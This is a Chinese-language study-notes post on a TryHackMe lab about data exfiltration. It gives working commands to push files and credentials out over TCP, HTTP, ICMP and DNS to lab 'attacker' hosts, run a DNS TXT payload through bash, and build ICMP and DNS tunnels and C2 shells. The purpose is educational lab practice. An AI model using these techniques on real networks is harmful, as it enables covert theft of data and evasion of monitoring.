0%

THM学习日寄23-Data Exfiltration

  • 房间的网络拓扑

  • Data Exfiltration

    数据外泄有三种主要是使用案例:

    • 传统数据外泄

      数据单向移动,都从网络内部传输到外部,攻击者不关注服务器的回应,大多数为传统协议

    • C2 通信

      通信包括发送命令与接受结果,为躲避检测常使用非标准协议或加密通道

    • 隧道通信

      建立隧道来持续访问整个内网资源,保持长时间连接

  • TCP 套接字

    仅在没有安全措施的网络环境下进行,因为非标准协议很容易被检测到

    使用 nc 的反弹 shell 就是这种

    接下来没图,因为 jumpbox 太卡了输不了命令

    1
    tar zcf - task4/ | base64 | dd conv=ebcdic > /dev/tcp/ip/port

    task4 目录压缩为 .tar.gz 文件并输出到标准输出 (-),并将压缩数据做 base64,再用 dd 工具将 base64 转码为 EBCDIC 编码,并将编码数据发送到指定地点

    对于收到的数据,使用 dd 来解码,再用 tar 解压即可

    1
    dd conv=ascii if=task4-creds.data |base64 -d > task4-creds.tar
  • ssh

    建立了加密通信通道

    1
    tar cf - task5/ | ssh thm@jump.thm.com "cd /tmp/; tar xpf -"

    双引号注明的命令是在 ssh 连接后生效,即切换到 /tmp 并解压缩

  • http

    使用 HTTP 是很好的选择,即防守方难以区分非法与恶意的 http 流量。注意要使用 POST 而非 GET ,后者的所有参数会被记录到日志中,而前者请求不会被缓存,不会保留在浏览器历史记录中,不会被添加为书签,对数据长度没有限制

    由图,带有文件参数的 GET 请求会包含泄露的数据,而 POST 并不会

    在现实场景中,往往将数据发送到恶意服务器上,再登录该服务器以拿到数据

    在本例中,以 web.thm.com 作为恶意服务器,设置 contact.php 页面来处理数据,在跳板机上用 curl 来发送数据

    其将数据压缩后存储到 /tmp

    在连接到 victim1 后用 curl 来传输:

    1
    curl --data "file=$(tar zcf - task6 | base64)" http://web.thm.com/contact.php

    但对于收到的数据,发现 base64 损坏,原因是 http 传输时的 url 编码把 + 替换为空格

    可以使用 sed 来修复:

    1
    sed -i 's/ /+/g' /tmp/http.bs64

    -i 原地编辑文件,s 替换,/ / 即匹配空格,/+/ 即替换为加号,g 为全局匹配

  • https

    避免数据明文传输的情况,也可以使用 http 隧道技术封装其他协议并来回发送数据

    将上传一个 http 隧道代理文件到受害服务器 uploader.thm.com ,连接完成时可以尝试与 app.thm.com 通信

    使用 Neo-reGeorg

    1
    python3 neoreg.py generate -k thm

    生成一个加密的客户端文件,并在 http://MACHINE_IP/uploader 来上传

    连接:

    1
    python3 neoreg.py -k thm -u http://MACHINE_IP/uploader/files/tunnel.php

    随后可以使用 curl 来访问 app.thm.com 的内部 ip 地址 172.20.0.121:80

    1
    curl --socks5 127.0.0.1:1080 http://172.20.0.121:80
  • ICMP

    internet 控制消息协议。用于处理错误报告的网络层协议

    网络设备可以使用 ICMP 来检测网络连通性,即 ping ,但该协议并非是设备间用于发送数据的传输协议

    ICMP 数据报的结构包含了一个数据段 Data section ,该部分包含字符串或者其他信息,如表示错误消息的 IPv4 报头,如下:

    而值得注意的是,数据字段是可选的,即可以将我们的数据包含在该数据段中并通过 ICMP 发送到另一台

    linux 中,ping 可以使用 -p 参数来指定数据报发送十六进制的 16 字节数据

    1
    ping MACHINE_IP -c 1 -p 74686d3a7472796861636b6d650a

    但手动发送未免过于麻烦了,接下来使用 msf 来做:

    其会捕获传入的 ICMP 数据报并等待 BOF 文件开始值,接收到后执行写入操作直至接收到 EOF 文件结束值

    1
    2
    3
    4
    msf5 > use auxiliary/server/icmp_exfil
    msf5 auxiliary(server/icmp_exfil) > set BPF_FILTER icmp and not src ATTACKBOX_IP
    set INTERFACE eth0
    run

    icmp 表示只过滤该协议,not src ATTACKBOX_IP 是过滤掉攻击机的 ICMP 包,这样使数据隧道只接受需要的 ICMP 回响包,过滤无关流量

    icmp-host 上面使用 nping 工具:

    1
    sudo nping --icmp -c 1 10.10.17.118 --data-string "BOFfile.txt"

    使用 BOFfile.txt 来指定文件开始触发值,该文件名可以在 msf 中更改

    1
    2
    sudo nping --icmp -c 1 10.10.17.118 --data-string "admin-password"
    sudo nping --icmp -c 1 10.10.17.118 --data-string "EOF"

  • ICMP C2

    接下来引入 ICMPDoor 工具来处理命令执行中的数据传输

    在受害者 icmp-host 上:

    1
    icmpdoor -i eth0 -d [jump-box]

    在攻击者 jump-box 上:

    1
    icmp-cnc -i eth1 -d [icmp-host]

    最后拿到加密传输的命令执行 `shell

  • DNS 配置

    配置好了所需的域名 tunnel.com ,以及网页

    需要为控制的域名设置一个名称服务器:

    • 添加一条指向 Attackbox IPA 记录
    • 添加一条 NS 记录,其把 DNS 查询路由到上面的 A 记录

      但这俩我设置显示未认证,只能用设置好的:

  • DNS 数据渗出

    尽管 DNS 并非为了传输数据而设计的,但仍能通过该协议来移动数据

    正由于其并非传输协议,所以 DNS 协议的使用情况大概率不会被监控,而且几乎所有防火墙都会允许使用,所以用 DNS 来隐藏通信更好

    但也存在限制:

    • 全限定 FQDN 域名最大长度为 255 字符
    • 子域名长度最大为 63 字符

      所以只能使用有限数量的字符通过域名来传输数据,在传输大数据时会导致极多的 DNS 请求,而产生明显的流量记录

    • 攻击步骤

      • 一个由攻击者注册的域名,如 tunnel.com
      • 设置 tunnel.comNS 记录指向攻击者控制的服务器
      • 将敏感数据传输到攻击者所控制的域名,如需要传输密码 password012 ,就请求 password012.tunnel.com
      • 将这一 DNS 请求通过本地 DNS 服务器发送至攻击者的恶意服务器
      • 最后攻击者从 DNS 请求的域名中提取密码

      一个典型使用场景是在防火墙阻止和过滤所有流量时,使用 DNS 来通过防火墙,此时最重要的时允许使用 DNS 且能将域名解析为 IP

    • 手动:

      对敏感信息内容进行编码,并将结果作为子域名发送

    • attacker

      1
      2
      ssh thm@attacker.thm.com
      sudo tcpdump -i eth0 udp port 53 -v

      使用 tcpdump 接受任何传入 UDP/53 的数据报来接受 DNS 请求

    • victim2

      1
      2
      3
      4
      ssh thm@victim2.thm.com
      cat task9/credit.txt
      cat task9/credit.txt | base64
      cat task9/credit.txt | base64 | tr -d "\n"| fold -w18 | sed -r 's/.*/&.att.tunnel.com/'

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      cat task9/credit.txt |base64 | tr -d "\n" | fold -w18 | sed 's/.*/&./' | tr -d "\n" | sed s/$/attacker.tunnel.com/ | awk '{print "dig +short " $1}' | bash
      #1. awk '{******} 会对输入内容的每一行进行逐行处理
      #- {******} 是处理动作
      #- "dig +short " 打印字符串
      #- 拼接当前行的第一个字段 $1,也就是域名
      #- 这样awk的输出就是一系列dig命令
      #2. | bash
      #- 使用管道将awk的输出作为bash命令来执行
      #3. 这样就实现了:
      #- awk自动提取域名,构造dig命令
      #- bash执行这些命令,实现域名解析

      再用 echo 解码

      1
      echo "TmFtZTogVEhNLXVzZX.IKQWRkcmVzczogMTIz.NCBJbnRlcm5ldCwgVE.hNCkNyZWRpdCBDYXJk.OiAxMjM0LTEyMzQtMT.IzNC0xMjM0CkV4cGly.ZTogMDUvMDUvMjAyMg.pDb2RlOiAxMzM3Cg==.att.tunnel.com." | cut -d"." -f1-8 | tr -d "." | base64 -d

  • 基于 DNSC2 通信

    接下来将模拟用 DNS 协议执行 bash 脚本,为此要为 tunnel.com 添加新的 DNS 记录

    随便找一个需要执行的恶意脚本:

    1
    2
    #!/bin/bash
    ping -c 1 test.thm.com

    首先将其转化为 base64IyEvYmluL2Jhc2gKcGluZyAtYyAxIHRlc3QudGhtLmNvbQo=

    随后将其作为 DNS 记录添加到域名解析中:

    使用这个来直接执行

    1
    2
     dig +short -t TXT script.tunnel.com | tr -d "\"" | base64 -d | bash
    # tr清理输出内容并删除内容中所有双引号,解码后传给/bin/bash
  • DNS 隧道 - TCP over DNS

    使用 DNS 数据渗出将其他协议(如http)封装在 DNS 上,从而实现一个可以持续发送接受数据的通信通道

    目标是在 网络1:172.20.0.0/24网络2:192.168.0.0/24 之间建立通信

    引入一个工具 iodine

    • 在攻击端

      1
      sudo iodined -f -c -P thmpass 10.1.1.1/24 att.tunnel.com

      该命令将创建一个新网络接口 dns0

      10.1.1.1/24 表示新网络接口 dns0 设置的网络 IPatt.tunnel.com 是预先设置好的名称服务器,其指向 attacker.thm.com 机器

    • 在受害者端

      1
      sudo iodine -P thmpass att.tunnel.com

      于此完成隧道建设,可以在攻击端:

      1
      ssh thm@10.1.1.2 -4 -f -N -D 1080

      进行端口转发